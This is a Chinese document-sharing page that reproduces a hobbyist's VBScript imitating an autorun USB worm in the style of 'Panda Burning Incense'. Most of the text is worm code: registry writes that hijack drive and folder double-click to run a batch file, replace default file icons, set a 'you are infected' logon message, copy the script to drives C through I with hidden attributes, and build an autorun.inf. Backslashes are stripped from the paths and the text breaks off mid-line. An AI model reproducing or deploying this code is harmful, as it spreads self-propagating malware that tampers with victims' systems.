資源描述:
《VB也模擬熊貓燒香!》由會(huì)員上傳分享,免費(fèi)在線閱讀,更多相關(guān)內(nèi)容在工程資料-天天文庫(kù)。
1、VB也模擬熊貓燒香!使用過(guò)U盤(pán)的朋友都知道u盤(pán)病毒是一種Autorun自運(yùn)行病毒,當(dāng)雙擊時(shí)觸發(fā)病毒體,會(huì)復(fù)制自身到CDE和系統(tǒng)盤(pán)system32下等盤(pán)符,(生成exe文件和一個(gè)Autorun.inf文件),同時(shí)修改注冊(cè)表,當(dāng)點(diǎn)擊C盤(pán)等盤(pán)符右鍵時(shí),會(huì)有一個(gè)auto命令(黑色粗體)或者是兩個(gè)開(kāi)始命令,本人學(xué)習(xí)vbs才15天,我也來(lái)模擬下這個(gè)autorun病毒和部分熊貓燒香功能,本人能力有限,只能模擬這樣的病毒了,聲明,本人模擬這個(gè)病毒,全是為了學(xué)習(xí)和技術(shù),切忌不要搞破壞,如果有人用本人代碼破壞,后果自負(fù)'使用戶(hù)不能通過(guò)雙擊打開(kāi)硬盤(pán),這里還可以修改為使其不能通過(guò)雙擊打
2、開(kāi)文件夾,同理,不贅續(xù)wsh.Regwrite"HKLMSOFTWAREClassesDriveshellautocommand","C:NYboy.bat'%1'"wsh.Regwrite"HKCRDriveshell","auto"wsh.Regwrite"HKCRDriveshellautocommand","C:NYboy.bat'%1'"wsh.Regwrite"HKLMSOFTWAREClassesDirectoryshell","auto"wsh.Regwrite"HKCRDirectoryshell
3、autocommand","C:NYboy.bat'%1'"wsh.Regwrite"HKLMSOFTWAREClassesDirectoryshellautocommand","C:NYboy.bat'%1'"'修改默認(rèn)文件圖標(biāo) 這里可以換成可愛(ài)的熊貓哦wsh.Regwrite"HKCRexefileDefaultIcon","c:1.ico"wsh.Regwrite"HKCRtxtfileDefaultIcon","c:1.ico"wsh.Regwrite"HKCRdllfileDefaultIcon","c:
4、1.ico"wsh.Regwrite"HKCRbatfileDefaultIcon","c:1.ico"wsh.Regwrite"HKCRinifileDefaultIcon","c:1.ico"wsh.Regwrite"HKLMSOFTWAREClassesexefileDefaultIcon","c:1.ico"wsh.Regwrite"HKLMSOFTWAREClassestxtfileDefaultIcon","c:1.ico"wsh.Regwrite"HKLMSOFTWAREClassesdllfileD
5、efaultIcon","c:1.ico"wsh.Regwrite"HKLMSOFTWAREClassesbatfileDefaultIcon","c:1.ico"wsh.Regwrite"HKLMSOFTWAREClassesinifileDefaultIcon","c:1.ico"wsh.Regwrite"HKLMSoftwareCLASSES.reg","txtfile"wsh.Regwrite"HKLMSoftwareMicrosoftWindowsCurrentVersionWinlogonLegalNo
6、ticeCaption","你好啊,開(kāi)個(gè)小小的玩笑"wsh.Regwrite"HKLMSoftwareMicrosoftWindowsCurrentVersionWinlogonLegalNoticeText","你已經(jīng)中毒了!"'復(fù)制自身到C,D,E,F,U盤(pán)myfile.copy"c:"myfile.copy"D:"myfile.copy"E:"myfile.copy"F:"myfile.copy"I:"myfile.attributes=34'定義Autorun.inf的內(nèi)容 這個(gè)就是u盤(pán)病毒必須的代碼部分 這里可以簡(jiǎn)單寫(xiě)Iffso.
7、FileExists("C:autorun.inf")ThenSetobjFolder=fso.GetFile("C:autorun.inf")Elsewsh.run"cmd/cecho[AutoRun]>>C:autorun.inf"_&"&&echoopen=NYboy.bat>>C:autorun.inf"_&"&&echoshellexecute=NYboy.bat>>C:autorun.inf"_&"&&echoshellAutocommand=NYboy.bat>>C:autorun.inf"_&"&&echoshell=Auto>>
8、C:autorun.i